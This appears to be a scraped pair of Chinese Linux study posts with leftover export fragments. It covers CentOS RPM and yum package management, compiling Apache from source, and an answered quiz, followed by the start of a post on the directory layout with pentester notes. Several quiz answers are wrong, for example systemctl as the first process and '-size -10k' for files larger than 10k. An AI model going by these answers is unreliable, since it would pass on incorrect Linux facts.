1234567891011121314151617181920212223242526272829303132333435363738394041424344454647[root@192 Packages]# rpm -ivh httpd- #按tab键就会列出与httpd相关的安装包httpd-2.4.6-95.el7.centos.x86_64.rpm httpd-manual-2.4.6-95.el7.centos.noarch.rpm httpd-devel-2.4.6-95.el7.centos.x86_64.rpm httpd-tools-2.4.6-95.el7.centos.x86_64.rpm [root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm #安装httpd错误:依赖检测失败: /etc/mime.types 被 httpd-2.4.6-95.el7.centos.x86_64 需要 httpd-tools = 2.4.6-95.el7.centos 被 httpd-2.4.6-95.el7.centos.x86_64 需要[root@192 Packages]# rpm -ivh httpd-tools-2.4.6-95.el7.centos.x86_64.rpm 准备中... ################################# [100%]正在升级/安装... 1:httpd-tools-2.4.6-95.el7.centos ################################# [100%]我们主要看第2个100%[root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm 错误:依赖检测失败: /etc/mime.types 被 httpd-2.4.6-95.el7.centos.x86_64 需要[root@192 Packages]# yum deplist httpd #检查依赖性已加载插件:fastestmirror, langpacksLoading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com软件包:httpd.x86_64 2.4.6-97.el7.centos.2 依赖:/bin/sh provider: bash.x86_64 4.2.46-35.el7_9 依赖:/etc/mime.types provider: mailcap.noarch 2.1.41-2.el7 依赖:/usr/sbin/groupadd provider: shadow-utils.x86_64 2:4.6-5.el7 依赖:/usr/sbin/useradd provider: shadow-utils.x86_64 2:4.6-5.el7 依赖:httpd-tools = 2.4.6-97.el7.centos.2[root@192 Packages]# rpm -ivh mailcap-2.1.41-2.el7.noarch.rpm 准备中... ################################# [100%]正在升级/安装... 1:mailcap-2.1.41-2.el7 ################################# [100%][root@192 Packages]# rpm -ivh httpd-httpd-2.4.6-95.el7.centos.x86_64.rpm httpd-manual-2.4.6-95.el7.centos.noarch.rpm httpd-devel-2.4.6-95.el7.centos.x86_64.rpm httpd-tools-2.4.6-95.el7.centos.x86_64.rpm [root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm 准备中... ################################# [100%]正在升级/安装... 1:httpd-2.4.6-95.el7.centos ################################# [100%]我在安装htppd升级包的时候奔溃了,依赖的包太多了!需要用到yum在处理依赖性的方法 RPM包升级123rpm -Uvh 包全名选项: -U(upgrade) 升级 卸载1234rpm -e 包名选项: -e(erase) 卸载 --nodeps 不检测依赖性 123456[root@192 Packages]# rpm -e httpd错误:依赖检测失败: httpd = 2.4.6-95.el7.centos 被 (已安裝) httpd-manual-2.4.6-95.el7.centos.noarch 需要[root@192 Packages]# rpm -e httpd-manual[root@192 Packages]# rpm -e httpd RPM包管理-其他内容查询是否安装123456789[root@192 /]# rpm -q 包名 #查询包是否安装选项: -q 查询(query)[root@192 /]# rpm -qa #查询所有已经安装的RPM包选项: -a 所有(all) [root@192 /]# rpm -qa | grep httpdhttpd-tools-2.4.6-95.el7.centos.x86_64 查询软件包详细信息1234[root@192 /]# rpm -qi 包名选项: -i 查询软件信息(information) -p 查询未安装包信息(package)[包全名] 查询包中文件安装位置1234[root@192 /]# rpm -ql 包名选项: -l 列表(list) -p 查询未安装包信息(package) 查询系统文件属于哪个RPM包123[root@192 /]# rpm -qf 系统文件名选项: -f 查询系统文件属于哪个软件包(file) 查询软件包的依赖性1234[root@192 /]# rpm -qR 包名选项: -R 查询软件包的依赖性(requires) -p 查询未安装包信息(package) RPM包检验(查看被修改的文件)12345678910111213141516171819[root@192 /]# rpm -V 已安装的包名选项: -V 校验指定RPM包中的文件(verify) 验证内容中的8个信息的具体内容如下: S 文件大小是否改变 M 文件的类型或文件的权限(rwx)是否被改变 5 文件MD5校验和是否改变(可以看成文件内容是否改变) D 设备中,从代码是否改变 L 文件路径是否改变 U 文件的属主(所有者)是否改变 G 文件的属组是否改变 T 文件的修改时间是否改变 文件类型 c 配置文件(config file) d 普通文档(documentation) g "鬼"文件(ghost file),很少见,就是该文件不应该被这个RPM包包含 l 授权文件(license file) r 描述文件(read me) RPM包中文件提取 (文件修复用的)123456789101112131415161718192021[root@192 /]# rpm2cpio 包全名 |[\\(表示换行)] cpio -idv.文件绝对路径rpm2cpio #将rpm包转换为cpio格式的命令cpio #是一个标准工具,它用于创建软件档案文件和从档案文件中提取文件 [root@192 /]# cpio 选项 <[文件|设备]选项: -i: copy-in模式,还原 -d: 还原时自动新建目录 -v: 显示还原过程 范例:测试文件修改功能 [root@192 ~]# rpm -qf /bin/ls #查询ls命令属于哪个软件包coreutils-8.22-24.el7_9.2.x86_64[root@192 ~]# mv /bin/ls /tmp/ #造成ls命令误删除假象[root@192 ~]# lsbash: ls: 未找到命令...相似命令是: 'lz'[root@192 ~]# rpm2cpio /mnt/cdrom/Packages/coreutils-8.22-24.el7.x86_64.rpm |cpio -idv ./bin/ls #提取RP包中ls命令到当前目录的/bin/ls下28603 块[root@192 ~]# cp /root/bin/ls /bin/ #把ls命令复制会/bin/目录,修复文件丢失 RPM包管理-yum在线管理用来解决依赖性,自动安装 IP地址配置和网络yum源123456[root@192 ~]# ifconfig eth0 192.168.1.156 #临时生效一旦重启,就会失效 ,想要永久修改,查看3.8命令 [root@192 ~]# ping www.sina.com.cnPING ww1.sinaimg.cn.w.alikunlun.com (124.165.216.217) 56(84) bytes of data.64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=1 ttl=57 time=6.73 ms64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=2 ttl=57 time=7.03 ms64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=3 ttl= 57 time=6.94 ms< /FONT> 网络yum源(linux的官方网络) 12345678# 切换到存放yum源配置文件的目录[root@192 ~]# cd /etc/yum.repos.d/# 列出当前目录下的所有文件,这些是不同的yum源配置文件[root@192 yum.repos.d]# ls# 编辑CentOS的基础yum源配置文件[root@192 yum.repos.d]# vim /etc/yum.repos.d/CentOS-Base.repo 在CentOS-Base.repo文件中,各项配置的意义如下: [base]:容器名称或标识符,必须置于方括号[]内.在yum配置中,它定义了一个仓库的唯一标识. name:仓库的说明,可以是任意描述性文本,方便用户识别. mirrorlist:软件包镜像站点的URL.通常是一个服务器列表,yum会根据这个列表找到最好的服务器进行软件包下载.这一行可以被注释掉,如果你打算直接使用baseurl. baseurl:定义yum源服务器的地址,即软件包的实际下载位置.默认指向CentOS官方源,可以修改为其他高速或本地镜像地址. enabled:指定该仓库是否被启用.1或省略表示启用,而0表示禁用. gpgcheck:决定是否进行GPG密钥检查.1表示启用RPM包的数字签名验证,0表示关闭验证,这样可能会增加系统安全风险. gpgkey:GPG密钥的公钥文件位置,用于验证软件包的完整性和出版商的可靠性.通常不需要修改. yum命令查询 12[root@192 yum.repos.d]# yum list #查询所有可用软件包列表[root@192 yum.repos.d]# yum search 关键字(包名) #搜索服务器上所有和关键字相关的包 安装 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566[root@192 yum.repos.d]# yum -y install 包名选项: install 安装 -y 自动回答yes[root@192 yum.repos.d]# yum -y install httpd #安装apache服务已加载插件:fastestmirror, langpacksLoading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.combase | 3.6 kB 00:00:00 extras | 2.9 kB 00:00:00 updates | 2.9 kB 00:00:00 正在解决依赖关系--> 正在检查事务---> 软件包 httpd.x86_64.0.2.4.6-97.el7.centos.2 将被 安装--> 正在处理依赖关系 httpd-tools = 2.4.6-97.el7.centos.2,它被软件包 httpd-2.4.6-97.el7.centos.2.x86_64 需要--> 正在检查事务---> 软件包 httpd-tools.x86_64.0.2.4.6-95.el7.centos 将被 升级---> 软件包 httpd-tools.x86_64.0.2.4.6-97.el7.centos.2 将被 更新--> 解决依赖关系完成依赖关系解决========================================================================================================================================== Package 架构 版本 源 大小==========================================================================================================================================正在安装: httpd x86_64 2.4.6-97.el7.centos.2 updates 2.7 M为依赖而更新: httpd-tools x86_64 2.4.6-97.el7.centos.2 updates 94 k事务概要==========================================================================================================================================安装 1 软件包升级 ( 1 依赖软件包)总下载量:2.8 MDownloading packages:No Presto metadata available for updates(1/2): httpd-tools-2.4.6-97.el7.centos.2.x86_64.rpm | 94 kB 00:00:00 (2/2): httpd-2.4.6-97.el7.centos.2.x86_64.rpm | 2.7 MB 00:00:00 ------------------------------------------------------------------------------------------------------------------------------------------总计 3.6 MB/s | 2.8 MB 00:00:00 Running transaction checkRunning transaction testTransaction test succeededRunning transaction警告:RPM 数据库已被非 yum 程序修改. 正在更新 : httpd-tools-2.4.6-97.el7.centos.2.x86_64 1/3 正在安装 : httpd-2.4.6-97.el7.centos.2.x86_64 2/3 清理 : httpd-tools-2.4.6-95.el7.centos.x86_64 3/3 验证中 : httpd-2.4.6-97.el7.centos.2.x86_64 1/3 验证中 : httpd-tools-2.4.6-97.el7.centos.2.x86_64 2/3 验证中 : httpd-tools-2.4.6-95.el7.centos.x86_64 3/3 已安装: httpd.x86_64 0:2.4.6-97.el7.centos.2 作为依赖被升级: httpd-tools.x86_64 0:2.4.6-97.el7.centos.2 完毕![root@192 yum.repos.d]# yum -y install gcc #c语言的编辑器 升级 1234[root@192 yum.repos.d]# yum -y update 包名选项: update 升级 -y 自动回答yes 卸载 123456[root@192 yum.repos.d]# yum -y remove 包名选项: remove 卸载 -y 自动回答yes强调服务器安装原理:安装最小化安装不安装多余软件,使用什么软件安装什么软件,尽量不卸载,尤其是yum卸载,尽量不用 YUM软件组管理命令1234567891011121314151617181920212223242526272829303132333435[root@192 yum.repos.d]# yum grouplist #列出所以可用的软件组列表已加载插件:fastestmirror, langpacks没有安装组信息文件Maybe run: yum groups mark convert (see man yum)Loading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com可用的环境分组: 最小安装 基础设施服务器 计算节点 文件及打印服务器 基本网页服务器 虚拟化主机 带 GUI 的服务器 GNOME 桌面 KDE Plasma Workspaces 开发及生成工作站可用组: 传统 UNIX 兼容性 兼容性程序库 图形管理工具 安全性工具 开发工具 控制台互联网工具 智能卡支持 科学记数法支持 系统管理 系统管理工具完成[root@192 yum.repos.d]#yum groupinstall 软件组名 #安装指定软件组,组名可以由grouplist查询出来(安装英文)[root@192 yum.repos.d]#yum groupremove 软件组名 #卸载指定软件组 光盘yum源搭建步骤挂载光盘 1[root@192 ~]# mount /dev/cdrom /mnt/cdrom/ #挂载光盘 让网络yum源文件失效 12345[root@192 ~]# cd /etc/yum.repos.d/[root@192 yum.repos.d]# lsCentOS-Base.repo CentOS-Debuginfo.repo CentOS-Media.repo CentOS-Vault.repoCentOS-CR.repo CentOS-fasttrack.repo CentOS-Sources.repo CentOS-x86_64-kernel.repo[root@192 yum.repos.d]# mv CentOS-Basc.repo CentOS-Base.repo.bak #改名字就会失效 修改光盘yum源文件 1234567891011[root@192 yum.repos.d]# vim CentOS-Media.repo[c7-media]name=CentOS-$releasever - Mediabaseurl=file:///mnt/cdrom/#地址为你自己的光盘挂载地址# file:///media/cdrom/# file:///media/cdrecorder/#注释这两个不存在的地址gpgcheck=1enabled=1 #把enable=0改为enable=1,让这个yum源配置文件生效gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 源码包管理源码包和RPM包的区别区别 安装之前的区别:概念上的区别 安装之后的区别:安装位置不同 RPM包安装位置是安装在默认位置中:RPM包默认安装路径 /etc/ 配置文件安装目录 /usr/bin/ 可执行的命令安装目录 /usr/lib/ 程序所使用的函数库保存位置 /usr/share/doc/ 基本的软件使用手册保存位置 usr/share/man 帮助文件保存位置 1234567891011[root@my-think ~]# rpm -q httpd #查询httpd的安装包httpd-2.4.6-97.el7.centos.2.x86_64[root@my-think ~]# rpm -ql httpd #查询httpd的安装路径/etc/httpd/etc/httpd/conf/etc/httpd/conf.d/etc/httpd/conf.d/README/etc/httpd/conf.d/autoindex.conf/etc/httpd/conf.d/userdir.conf/etc/httpd/conf.d/welcome.conf/etc/httpd/conf.modules.d ... 源码包安装位置安装在指定位置当中,一般是/usr/local/软件名/可以在编译的时候指定位置./configure --prefix=/usr/local/nginx安装位置不同带来的影响RPM包安装的服务可以使用系统服务管理命令(service)来管理 例如的apache的启动方法是: RPM包安装的启动方法启动httpd服务: 使用service命令是传统的方法,但在新版的Red Hat系列系统中(使用systemd作为init系统的版本),service命令会被重定向到systemctl命令.12[root@my-think init.d]# service httpd startRedirecting to /bin/systemctl start httpd.service开放防火墙端口80: 通过firewall-cmd命令可以管理firewalld服务,它是Red Hat系列系统中默认的防火墙管理工具.这两条命令成功地将TCP端口80添加到了公共区域(public zone)并且永久生效,然后重新加载了防火墙的配置.1234[root@my-think bin]# firewall-cmd --zone=public --add-port=80/tcp --permanentsuccess[root@my-think bin]# firewall-cmd --reloadsuccess开放端口80是为了允许HTTP流量(通常是网页服务器的流量)进入服务器.访问网页服务器: 假设服务器的IP地址是192.168.1.8,您可以通过浏览器访问http://192.168.1.8.如果httpd已经启动并且防火墙端口已开放,您应该能够看到在/var/www/html目录中的默认网页或您创建的index.html.源码包的启动方法启动httpd服务:如果是从源码编译安装的Apache httpd(比如安装到/usr/local/apache2),那么您需要使用安装路径下提供的控制脚本(如apachectl)来管理服务.1/usr/local/apache2/bin/apachectl start开放防火墙端口80: 通过firewall-cmd命令可以管理firewalld服务,它是Red Hat系列系统中默认的防火墙管理工具.这两条命令成功地将TCP端口80添加到了公共区域(public zone)并且永久生效,然后重新加载了防火墙的配置.1234[root@my-think bin]# firewall-cmd --zone=public --add-port=80/tcp --permanentsuccess[root@my-think bin]# firewall-cmd --reloadsuccess开放端口80是为了允许HTTP流量(通常是网页服务器的流量)进入服务器.访问网页服务器: 假设服务器的IP地址是192.168.1.8,您可以通过浏览器访问http://192.168.1.8.如果httpd已经启动并且防火墙端口已开放,您应该能够看到在/var/www/html目录中的默认网页或您创建的index.html. 源码包安装过程安装准备 安装C语言编译器:确保系统中已经安装了C语言编译器,这是编译源码的基础. 下载源码包:源码包可以从官方网站下载,例如Apache服务器源码包可从这里下载. 安装注意事项 源代码保存位置:推荐保存在/usr/local/src/. 软件安装位置:推荐安装在/usr/local/. 确定安装过程中是否报错: 安装过程中断停止. 出现error、warning或no的提示. 源码包安装过程下面是基于Linux环境的Apache源码包安装示例: 12345678910111213141516171819202122232425262728293031# 下载源码包:使用FTP或其他方式进行传输# 解压缩下载的源码包tar -zxvf httpd-2.4.51.tar.gz # 解压# 查看文件大小[root@my-think src]# du -sh httpd-2.4.5148M httpd-2.4.51# 进入解压缩后的目录(这一步不能省略)# 安装前重要的文件阅读# INSTALL文件包含了安装步骤# README文件包含了使用说明# 使用./configure进行软件配置和系统环境检查[root@my-think httpd-2.4.51]# ./configure --prefix=/usr/local/apache2# 如果出现错误,根据提示进行解决,如下例:configure: error: APR-util not found. Please read the documentation.# 编译源代码$ make# 如果编译过程中出现错误,可使用以下命令清空临时文件:make clean# 安装编译后的软件$ make install# 启动安装后的服务$ /usr/local/apache2/bin/apachectl start 源码包的卸载源码包的卸载十分简单,不需要使用专用的卸载命令.只需直接删除安装目录即可: 12# 假设安装目录为/usr/local/apache2rm -rf /usr/local/apache2 测验1. Linux操作系统中名为\"sdb6\"的分区代表什么意思?scsi第二块硬盘的第二个分区2. 简述Linux操作系统的基本引导过程开机自检MBR引导GRUB菜单加载内核init进程初始化3. CentOS中第一个运行的进程是什么?systemctl4. Systemd的常见的单元类型中service与target分表代表什么意思?12service # 描述一个系统服务target # 描述一组systemd的单元5. 用表格显示Systemd的目标与SysVinit的运行级别对应关系,并说明其含义?SystemdSysVinit含义target0关机rescue.target1单用户模式multi-user.target3字符端graphical.target5图形化reboot.target6重启6. 假如在CentOS中启动并查看apache服务的运行状态的命令分别是什么?123[root@localhost ~]# systemctl start httpd[root@localhost ~]# systemctl status httpd[root@localhost ~]# ps -ef | grep apache7. 在CentOS中执行哪几条命令可以将系统运行目标切换至图形化模式?1234# 切换到字符界面systemctl set-default multi-user.target# 切换到图形化systemctl set-default graphical.target8. 在CentOS中执行什么命令可以将apache服务设置为开机自动启动?123[root@localhost ~]# systemctl enable httpd[root@localhost ~]# vim /etc/rc.d/rc.local/usr/sbin/httpd9. 若CentOS运行在字符界面模式,所有开机自启服务的软链接存放在什么目录下?1ls /etc/systemd/multi-user.target.wants/10. 在CentOS中执行什么命令可以查看当前系统中所有已经激活的系统服务?1systemctl list-units -t service11. Linux操作系统通用的命令行格式是什么?1命令字 [选项] [参数]12. 列表对比Linux操作系统下获取命令帮助的方法123help--helpman13. 操作命令选项的时候\"-\"和\"--\"的区别是什么?12- # 短格式选项-- # 长格式选项14. help和--help分别代表什么意思?12help #内部命令帮助--help # 外部命令帮助15. 重定向符的作用是什么?1将标准输出结果保存到文件中16. 列表对比pwd、cd、ls、du命令的作用、命令格式、常用选项命令作用格式常用选项pwd显示当前所在工作目录pwdpwdcd切换工作目录cd 目标位置cd 目标位置ls列表显示目录内容ls-l -a -A -d -h -R -colordu统计目录及文件空间占用情况du [选项] [文件或目录]-a -h -s17. 绝对路径与相对路径的区别是什么?12345参照物不同# 绝对路径 --以根目录为参照物/opt/clash# 相对路径 --以opt目录为参照物./clash18. 常见相对路径的表现形式有哪几种?123./opt../opt~opt19. 如何查看系统存在哪些别名命令?1alias20. 当目标文件存在时,使用touch命令创建该文件,命令执行结果是什么?1没有执行结果21. 列表比较软链接与硬链接的区别软链接硬链接删除原始文件后失效依旧可用使用范围适用于文件或目录只可用于文件保存位置与原始文件可以位于不同的文件系统中必须与原始文件在同一个文件系统(如一个Linux分区)内22. 在刚装好的linux系统上使用`mkdir /test/lol/dark`命令,是否会成功,原因是什么?1不会成功,因为不能递归创建,如果递归创建需要加-p参数 23. 列表对比cp、rm、mv命令的作用、命令格式、常用选项命令作用格式常用选项cp复制文件或目录cp [选项] 源文件或目录 目标文件或目录-f -i -p -rrm删除文件或目录rm [选项] 要删除的文件或目录-f -i -rmv移动文件或目录mv [选项] 源文件或目录 目标文件或目录无24. cp复制目录的时候总提示失败,分析原因可能有哪些?1目录里有文件需要递归复制25. rm删除目录失败,需要附加什么选项?1-f/-rf26. mv命令除了移动对象以外还有什么作用?1重命名27. find命令与which命令的区别是什么?12which # 搜索范围由环境变量PATH决定find # 采用递归方式,根据目标的名称,类型,大小等不同属性进行精细查找 28. find命令的语法与主要选项都有哪些?各选项的作用是什么?1234find [查找范围] [查找条件表达式]-name # 名称-type # 类型-size # 大小29. 如何用一条命令查找出文件大小大于10k并且名字以chain开头的文件1find / -name chain* -a -size -10k30. 在Linux命令行中按Ctrl+L组合键的作用是什么?1清屏=clear31. 获得Linux命令的在线帮助的方式有哪些?简述各自的特点和区别?帮助命令特点区别man提供详细的命令使用说明和选项信息.包含详尽的信息,适用于深入学习命令.可能不包含最新的命令选项.info提供与man类似,但可能更详细的信息,支持超链接.信息组织结构类似于网页,用于浏览相关命令的详细信息及其上下文.--help快速获取命令的基本用法和可用选项的简要说明.用于快速查阅命令的基本信息,通常在命令后直接使用.whatis显示一条命令的简短描述.提供命令的简单概述,适用于快速理解命令的基本功能./usr/share/doc/浏览特定软件包提供的文档.包含特定软件包的额外文档,使用文件浏览器或命令行工具查看.在线资源访问互联网上的资源,如官方文档、论坛和教程.提供最新和最全面的信息,需要互联网连接.32. 在Linux命令行下执行\"ls -ld\"命令的作用是什么?12-l # 显示文件和目录的详细资料-d # 将目录名像其它文件一样列出,而不是列出它们的内容33. 执行什么命令可以分别统计/boot目录中所有文件、子目录各自占用的空间大小?1du -sh /boot/*34. 依次执行什么命令可以为文件/bin/bzip2 创建一个软链接文件/bin/wx/bzip2 ?1ln -s /bin/zip2 /bin/wx/bzip235. 执行什么命令可以把目录/boot/grub、文件/etc/apg.conf复制到当前目录下的public_html文件夹中?1cp /boot/grub /etc/apg.conf ./public_html/ -r36. 在Linux命令行中执行\"echo $PATH\"命令的作用是什么?12# 输出系统环境变量echo $PATH37. 执行什么命令可以在/etc目录下查找\"超过1024KB\"和\"名称以.conf结尾\"的文件?1find /etc/ -name *.conf -a -size -1024k38. 列表对比Linux系统下可以查看文件内容命令的作用、命令格式、常用选项命令作用格式选项cat显示出文件的内容cat [选项] 文件名-n -bmore全屏方式分页显示文件内容more [选项] 文件名enter 空格 qless与more命令相同,但扩展功能更多less [选项] 文件名page up/page down/ "/"/n/Nwc统计文件中的单词数量等信息wc [选项] 目标文件-l -w -chead查看文件开头的一部分内容(默认为10行)head -n 文件名-ntail查看文件结尾的少部分内容(默认为10行)tail [选项] [文件名]-n -fgrep在文件中查找并显示包含指定字符串的行grep [选项] 查找条件 目标文件-i -v39. 使用grep命令过滤文件内容时\"\\^\"、\"\\$\"与\"\\^$\"分别表示什么作用?123^ # 以····开头$ # 以····结尾^$ # 表示空行40. 如何得到httpd.comf文件中除去注释和空行后的有效信息?1cat /etc/httpd/conf/httpd.conf | grep -v ^$ |grep -v ^.*#","tags":["Centos","Linux","计算机基础"]},{"title":"二. Linux从入门到精通(上)","path":"/2020/06/02/5fa17f4e/","content":"总字符数: 45.00K 代码: 27.49K, 文本: 10.90K 预计阅读时间: 2.78 小时 Linux学习手册: https://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/Linux%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8Cv8.0.chmhttps://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/Linux%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8Cv8.0.chm LINUX 系统结构Linux系统可以粗糙地抽象为3个层次,一般称为内核层(Kernel),中间层是Shell层,既命令解释器,高层则是应用层. 层次 描述 内核层 内核层是UNIX/LINUX系统的核心和基础,它直接附着在硬件平台上,控制和管理系统内各种资源(硬件资源和软件资源),有效地组织进程的运行,从而扩展硬件的功能,提高资源的利用效率,为用户提供方便、高效、安全、可靠的应用环境. Shell层 Shell层是与用户直接交互的界面.用户可以在提示符下输入命令行,由Shell解释执行并输出相应结果或有关信息,所以我们也把Shell称为命令解释器,利用系统提供的丰富命令可以快捷而简单地完成许多工作. 应用层 应用层提供基于X Window协议的图形环境.X Window协议定义了一个系统所必须具备的功能(如同TCP/IP是一个协议,定义软件所应具备的功能),任何系统能满足此协议及符合X协会其他的规范,便可称为X Window. X Window与微软的Windows图形环境有很大的区别: Linux系统与X Window没有必然捆绑的关系,也就是说,Linux可以安装X Window,也可以不安装; 微软的Window图形环境与内核捆绑密切. Linux系统不依赖图形环境,依然可以通过命令行完成100%的功能,而且因为不使用图形环境还会节省大量的系统资源。 作为服务器部署,绝大多数Linux并不安装或并不启用图形环境. Linux控制台的使用​ Linux系统由桌面控制台和字符控制台组成。 桌面系统即X-Window视窗,实质是在命令行下运行的应用程序. 字符控制台是Linux系统核心,大部分操作在字符界面完成。 默认Linux有6个字符控制台,可独立作业,体现了”多用户、多任务”特性.在图形界面下切换到字符界面按Ctrl+Alt+F1~F6,反之,从字符界面切换到X-Window可输入”startx”或按Ctrl+Alt+F7. Linux图形界面相对不够完善,功能较Windows有欠缺,复杂操作难在图形界面完成。 因此,习惯在字符界面下工作对操作上有重要意义. Linux系统默认管理员用户是root,类似于Windows的Administrator,拥有最高权限,可以操作系统所有文件和设备。 登录Linux系统输入root用户名和密码即可. Linux 文件系统结构介绍 / :Linux 系统的根目录. /root :该目录为系统管理员目录,如果用户是以超级用户的身份登录的,这个就是超级用户的主目录,设置成较高安全等级 /bin :存放系统预装的可执行程序,或用户一般使用程序,这里存放的可执行文件可以在系统的任何目录下执行.如ls,mv,rm等常用执行文件,有时内容与/usr/bin一样(使用链接文件) /dev:dev 是设备(device)的英文缩写,这个目录对所有的用户都十分重要,因为在这个目录中包含了所有Linux系统中使用的外部设备,Linux中的设备也是以文件的形式存在的,但是这里并不是放的外部设备的驱动程序 /home :用户的主目录,如果建立一个用户,用户名是”Bob”,那么在/home目录下就有一个对应的/home/Bob路径,用来存放用户的主目录,也叫作用户的根目录,用户登录以后,默认打开自己的根目录. /lib :lib是库(library)英文缩写.这个目录是用来存放系统动态连接共享库的,其作用类似于 Windows 里的 DLL 文件,几乎所有的应用程序都会用到这个目录下的共享库 /mnt :这个目录在一般情况下也是空的,系统提供该目录是为了让用户临时挂载别的文件系统,我们可以将光驱挂载在 /mnt/ 上,然后进入该目录就可以查看光驱里的内容. /proc :可以在这个目录下获取系统信息,这些信息是在内存中,由系统自己产生的. /run :是一个临时文件系统,存储系统启动以来的信息.当系统重启时,这个目录下的文件应该被删掉或清除.如果你的系统上有 /var/run 目录,应该让它指向 run. /srv :存放服务启动后需要提取的数据(不用服务器就是空) /tmp :用来存放不同程序执行时产生的临时文件. /var:系统中的可变文档的存放位置,这个目录存放在不断扩充的东西,我们习惯将那些经常被修改的文件存放在该目录下,比如运行的各种日志文件、未读邮件等. /boot :在这个目录存放启动Linux时使用的一些核心文件,包括一些连接文件机镜像文件,都是系统启动时要用到的程序.在使用grub或lilo引导linux的时候,会用到这里的一些信息 /etc :etc这个目录是linux系统中最重要的目录之一.在这个目录下存放了系统管理时要用到的各种配置文件和子目录.我们要用到的网络配置文件,文件系统,x系统配置文件,设备配置信息,设置用户信息等都在这个目录下 /media:类windows的其他设备,例如U盘、光驱等等,识别后linux会把设备放到这个目录下. /opt:存放 Linux 中额外安装的软件.比如安装的 MySQL 数据库就可以放到这个目录下,该目录默认为空. /sbin:只有系统管理员能使用的程序和指令 /sys: 这是linux2.6内核的一个很大的变化.该目录下安装了2.6内核中新出现的一个文件系统 sysfs .sysfs文件系统集成了下面3种文件系统的信息:针对进程信息的proc文件系统、针对设备的devfs文件系统以及针对伪终端的devpts文件系统.该文件系统是内核设备树的一个直观反映.当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中 /usr :Linux的系统资源目录,里面存放的是一些系统可执行文件或者系统的一些文件库.这是linux系统中占用硬盘空间最大的目录,相当于windows下的program files目录 对于渗透测试工程师来讲需要重点注意: /tmp: 用于存放临时文件的目录.如果以高权限运行的应用程序在此目录中创建不安全的临时文件,可能被利用进行提权.渗透测试人员可能会查找此目录中的临时文件处理方面的配置不当或漏洞. /dev/shm: 用于存放共享内存对象的临时文件存储区域.由于默认权限设置为777,任何用户都可以在此目录创建或删除文件,这可能被恶意用户利用来执行特权升级或进行拒绝服务(DoS)攻击.渗透测试人员可能会检查此目录的权限设置或搜索配置不当,以便找出潜在的安全漏洞. /root: root用户的主目录,包含敏感的配置文件.渗透测试人员可能会关注此目录,以识别任何敏感信息、配置错误或潜在漏洞,这可能导致未经授权的访问. /bin: 包含所有用户使用的基本二进制可执行文件.渗透测试人员可能会在此目录中查找常见的可执行文件和二进制文件,以发现可能存在漏洞或配置错误. /dev: 包含系统中所有设备的设备文件.虽然不包含设备驱动程序,但渗透测试人员可能会寻找与设备相关的漏洞或配置错误,可能被利用以实现未经授权的访问或信息泄露. /home: 用户主目录,包括root用户的主目录(/root).渗透测试人员可能会检查用户特定的配置和存储的凭据,以识别潜在的弱点或配置错误. /sbin: 包含系统二进制文件和用于系统管理的命令.渗透测试人员关注此目录,以识别需要提升权限的可执行文件,可能被利用进行未经授权的操作. /etc: 对系统配置至关重要.渗透测试人员通常会研究此目录,寻找配置文件中的配置错误、敏感信息或可能导致安全问题的漏洞. /tmp: 如前所述,这个目录对于渗透测试人员而言非常重要,因为由不同程序创建的临时文件的处理可能存在潜在的安全风险. /media: 识别外部设备,如USB驱动器和光驱.渗透测试人员可能会评估系统如何处理外部设备,以寻找可能的安全风险或配置错误. Linux常用命令认识登录界面我们来看看图中的每行所表示的是什么意思 第一行显示了Linux发行商和版本信息. 第二行展示了Linux使用的内核版本,以3.10.0为例.其中,3是主版本号,10是次要版本号,如果次要版本号为偶数,表示是一个稳定版本.最后的0是修订次数. 第三行展示了当前计算机的主机名,这里的”192”即为这台电脑的名称. 明白以上的一些参数之后,我们就可以登录了,首先在第三行的”192 login:”后面输入用户名,这里我们输入root,然后按ENTER,接着要求输入用户密码,输入密码后,如果密码正确,则会出现如下画面: 新出现的两行 Last login: 这行表示我们这个用户的上次登录的时间和位置 [root@192~]# 这行的root:表示登录的用户是root用户 []:这是分隔符,没有特殊含义 root:显示的是当前的登录用户,这里使用root用户登录. @:分隔符号,没有特殊含义 192:当前系统的简写主机名 ~:表示目前位于/root目录下 #:表示root用户,是超级管理员,普通用户为$ 在Linux系统中有家目录的说法,那么家目录是什么?Linux系统是纯字符界面,用户登录后,要有一个初始登录的位置,这个初始位置就称为用户的家 超级用户的家目录:/root 普通用户的家目录:/home/用户名 命令格式命令格式:命令[-选项] [参数] 在命令格式中,[]代表可选项,选项的功能是调整命令功能,参数是命令的操作对象,一般文件、目录、用户和进程等可以作为参数被命令操作. 1ls -al /etc 个别命令使用不遵循此格式 当有多个选项时,可以写在一起 选项分为短格式选项(-l)和长格式选项(–all),短格式选项是英文的简写,用一个减号调用,长格式是英文完整单词,用两个减号调用. Linux的命令按照来源方式分为两种:Shell内置命令和外部命令.所谓Shell内置命令,就是Shell自带的命令,这些命令是没有执行文件的;而外部命令就是由程序员单独开发的,是外来命令,所有会有命令的执行文件.Linux中绝大多数命令是外部命令. 文件处理命令目录处理命令1. ls命令12345678910命令英文原意:list命令路径: /bin/ls 执行权限:所有用户功能描述:显示目录文件选项:-a 显示所有文件,包括隐藏文件(以 . 开始的文件就是隐藏文件) -d 查看目录属性(针对目录) ,显示目录信息,而不是目录下的文件-l 显示详细信息(long 长格式) -h 人性化显示文件大小 -i (id编号,唯一标识) 使用方法 1234567[root@localhost ~]# ls --查看目录内容[root@localhost ~]# ls -a --显示隐藏文件[root@localhost ~]# ls 